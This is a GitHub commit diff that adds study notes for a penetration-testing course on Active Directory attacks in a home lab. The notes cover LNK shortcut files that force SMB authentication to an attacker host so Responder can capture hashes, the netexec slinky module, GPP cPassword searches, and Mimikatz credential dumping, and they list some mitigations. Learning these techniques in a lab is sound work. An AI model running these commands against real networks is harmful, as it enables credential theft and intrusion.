Skip to content

Commit 07c4321

Browse files
committed
feat: new ad attack notes
1 parent 370fc85 commit 07c4321

File tree

6 files changed

+159
-1
lines changed

6 files changed

+159
-1
lines changed
Loading
Loading

peh/4-active-directory/2-ad-init-vectors.md

+7
Original file line numberDiff line numberDiff line change
@@ -21,6 +21,13 @@
2121
- Built-in MSSQL auth server
2222
- ... more ...
2323

24+
```bash
25+
# (Re)-Install
26+
sudo apt autoremove --purge responder -y && sudo apt autoclean
27+
sudo rm -rf /usr/share/responder/
28+
sudo apt install responder -y
29+
```
30+
2431
```bash
2532
sudo responder -I eth0 -dPv
2633
```

peh/4-active-directory/4-ad-attacks.md

+143
Original file line numberDiff line numberDiff line change
@@ -65,6 +65,7 @@ export creds detailed cme_creds
6565
```bash
6666
sudo apt install pipx git
6767
pipx ensurepath
68+
pipx uninstall netexec
6869
pipx install git+https://github.com/Pennyw0rth/NetExec
6970
```
7071

@@ -116,6 +117,12 @@ hashcat -m 1000 ntlm.txt /usr/share/wordlists/rockyou.txt
116117
7facdc498ed1680c4fd1448319a8c04f:Password1!
117118
```
118119

120+
For mitigation:
121+
122+
- Avoid re-using local admin passwords
123+
- Disable guest and administrator accounts
124+
- Use Privilege Access Management (PAM)
125+
119126
---
120127

121128
## Kerberoasting
@@ -232,3 +239,139 @@ For mitigation:
232239

233240
---
234241

242+
## LNK File Attack
243+
244+
An attacker can place a malicious file in a shared folder, and when triggered, it captures password hashes using a tool like Responder, similar to a **watering hole attack** where a compromised website delivers malware that can drop such files onto a target's network.
245+
246+
📌 Open Powershell on the `THEPUNISHER` (`192.168.31.93`) VM.
247+
248+
- The following PowerShell script creates a shortcut (`C:\test.lnk`) pointing to a remote file (`\\192.168.31.131\@test.png` - on the attacker VM), setting its icon, description, and a `Ctrl+Alt+T` hotkey. It can be used for automation or to trick users into accessing a remote resource, potentially leaking credentials via an SMB request.
249+
250+
```powershell
251+
$objShell = New-Object -ComObject WScript.shell
252+
$lnk = $objShell.CreateShortcut("C:\test.lnk")
253+
$lnk.TargetPath = "\\192.168.31.131\@test.png"
254+
$lnk.WindowStyle = 1
255+
$lnk.IconLocation = "%windir%\system32\shell32.dll, 3"
256+
$lnk.Description = "Test"
257+
$lnk.HotKey = "Ctrl+Alt+T"
258+
$lnk.Save()
259+
```
260+
261+
- rename the `test.lnk` file into `@test.lnk` to put it on top of the folder list
262+
- copy the file in `\\hydra-dc\hackme` file share
263+
264+
Run Responder (on Kali VM):
265+
266+
```bash
267+
sudo responder -I eth0 -dPv
268+
```
269+
270+
No just open the `\\hydra-dc\hackme` share folder in `THEPUNISHER` VM and check the Responder log for hashes automatically captured.
271+
272+
![](.gitbook/assets/2025-02-15_09-35-18_881.png)
273+
274+
**Automated attack** - ff the file share is exposed, use `netexec` [slinky](https://github.com/seriotonctf/cme-nxc-cheat-sheet?tab=readme-ov-file#slinky) built-in module to create the link/shortcut file on the targeted VM (in all shares with write permissions).
275+
276+
```bash
277+
netexec smb 192.168.31.131 -d marvel.local -u fcastle -p Password1 -M slinky -o NAME=test SERVER=192.168.31.90
278+
```
279+
280+
---
281+
282+
## GPP Attacks - cPassword Attacks
283+
284+
The Group Policy Preferences (**GPP**) allowed admins to create policies with embedded credentials.
285+
286+
- credentials were encrypted and stored in the **cPassword** field
287+
- **encryption key** was leaked, making it possible to decrypt stored credentials
288+
- patched in [MS14-025](https://learn.microsoft.com/en-us/security-updates/securitybulletins/2014/ms14-025), but previously stored credentials remain vulnerable, so it is still relevant for pentesting
289+
290+
```cmd
291+
findstr /S /I cpassword \\marvel.local\sysvol\marvel.local\policies\*.xml
292+
```
293+
294+
For mitigation:
295+
296+
- Install `KB2962486` on every computer used to manage GPOs which prevents new credentials from being placed in Group Policy Preferences.
297+
- Delete existing GPP `xml` files in SYSVOL containing passwords.
298+
299+
Good article - [Finding Passwords in SYSVOL & Exploiting Group Policy Preferences – Active Directory Security](https://adsecurity.org/?p=2288)
300+
301+
---
302+
303+
## Credential dumping with Mimikatz
304+
305+
➡️ [Mimikatz](https://www.kali.org/tools/mimikatz/) - a tool that allows the extraction of plaintext passwords, hashes, PIN codes and Kerberos tickets from memory. It can also perform **pass-the-hash**, **pass-the-ticket** or build **Golden** tickets.
306+
307+
📌 Turn on `SPIDERMAN` (`192.168.31.92`) and login with `peterparker` with the attached `hackme` file-share.
308+
309+
```bash
310+
mkdir -p $HOME/tcm/peh/ad-attacks/mimikats
311+
cd $HOME/tcm/peh/ad-attacks/mimikats
312+
wget https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20220919/mimikatz_trunk.zip
313+
# extract zip
314+
python3 -m http.server 80
315+
```
316+
317+
- Open `http://192.168.31.131/mimikatz_trunk/x64/` in the `SPIDERMAN` VM and download all the 4 files inside that directory
318+
- Run `cmd` as admin
319+
320+
```bash
321+
cd "C:\Users\peterparker\Downloads"
322+
mimikatz.exe
323+
324+
# Commands
325+
privilege::
326+
privilege::debug
327+
328+
# Attacks
329+
sekurlsa::
330+
msv - Lists LM & NTLM credentials
331+
wdigest - Lists WDigest credentials
332+
kerberos - Lists Kerberos credentials
333+
tspkg - Lists TsPkg credentials
334+
livessp - Lists LiveSSP credentials
335+
cloudap - Lists CloudAp credentials
336+
ssp - Lists SSP credentials
337+
logonPasswords - Lists all available providers credentials
338+
process - Switch (or reinit) to LSASS process context
339+
minidump - Switch (or reinit) to LSASS minidump context
340+
bootkey - Set the SecureKernel Boot Key to attempt to decrypt LSA Isolated credentials
341+
pth - Pass-the-hash
342+
krbtgt - krbtgt!
343+
dpapisystem - DPAPI_SYSTEM secret
344+
trust - Antisocial
345+
backupkeys - Preferred Backup Master keys
346+
tickets - List Kerberos tickets
347+
ekeys - List Kerberos Encryption Keys
348+
dpapi - List Cached MasterKeys
349+
credman - List Credentials Manager
350+
351+
sekurlsa::logonPasswords
352+
```
353+
354+
![](.gitbook/assets/2025-02-15_10-30-03_883.png)
355+
356+
- Check for clear-text passwords based on the mounted shared folder for example.
357+
- Check for NTLM hashes.
358+
- **Mimikatz needs obfuscation and/or antivirus bypass to work on protected systems.**
359+
360+
---
361+
362+
## 📌 **Attack strategy for internal pentest**
363+
364+
- Account compromised
365+
- Quick wins:
366+
- Pass the hash
367+
- Secrets dump
368+
- Pass the hash/password
369+
- Dig deeper:
370+
- Enumerate (Bloodhound, users, domain admins, sensitive VMs, etc)
371+
- Account access
372+
- Old vulnerabilities
373+
- **"Think outside the box"**
374+
- *How can I move laterally until I can move vertically?*
375+
376+
---
377+
+2-1
Original file line numberDiff line numberDiff line change
@@ -1 +1,2 @@
1-
# AD - Additional Attacks
1+
# AD - Additional Attacks
2+

peh/peh-references.md

+7
Original file line numberDiff line numberDiff line change
@@ -186,6 +186,13 @@
186186

187187
- [Token Impersonation | Pentest Everything](https://viperone.gitbook.io/pentest-everything/everything/everything-active-directory/access-token-manipultion/token-impersonation)
188188
- [Fun with Incognito - Metasploit Unleashed](https://www.offsec.com/metasploit-unleashed/fun-incognito/)
189+
- [Forced Authentication | Red Team Notes](https://www.ired.team/offensive-security/initial-access/t1187-forced-authentication)
190+
- [Finding Passwords in SYSVOL & Exploiting Group Policy Preferences – Active Directory Security](https://adsecurity.org/?p=2288)
191+
- [MS14-025: Vulnerability in Group Policy Preferences could allow elevation of privilege: May 13, 2014 - Microsoft Support](https://support.microsoft.com/en-us/topic/ms14-025-vulnerability-in-group-policy-preferences-could-allow-elevation-of-privilege-may-13-2014-60734e15-af79-26ca-ea53-8cd617073c30)
192+
- [Exploiting-GPP-AKA-MS14_025-vulnerability](https://github.com/incredibleindishell/Windows-AD-environment-related/blob/master/Exploiting-GPP-AKA-MS14_025-vulnerability/README.md)
193+
- [GPP attacks | Internal Pentest](https://xedex.gitbook.io/internalpentest/internal-pentest/active-directory/post-compromise-attacks/gpp-attacks)
194+
195+
- [mimikatz](https://github.com/gentilkiwi/mimikatz)
189196

190197

191198

0 commit comments

Comments
 (0)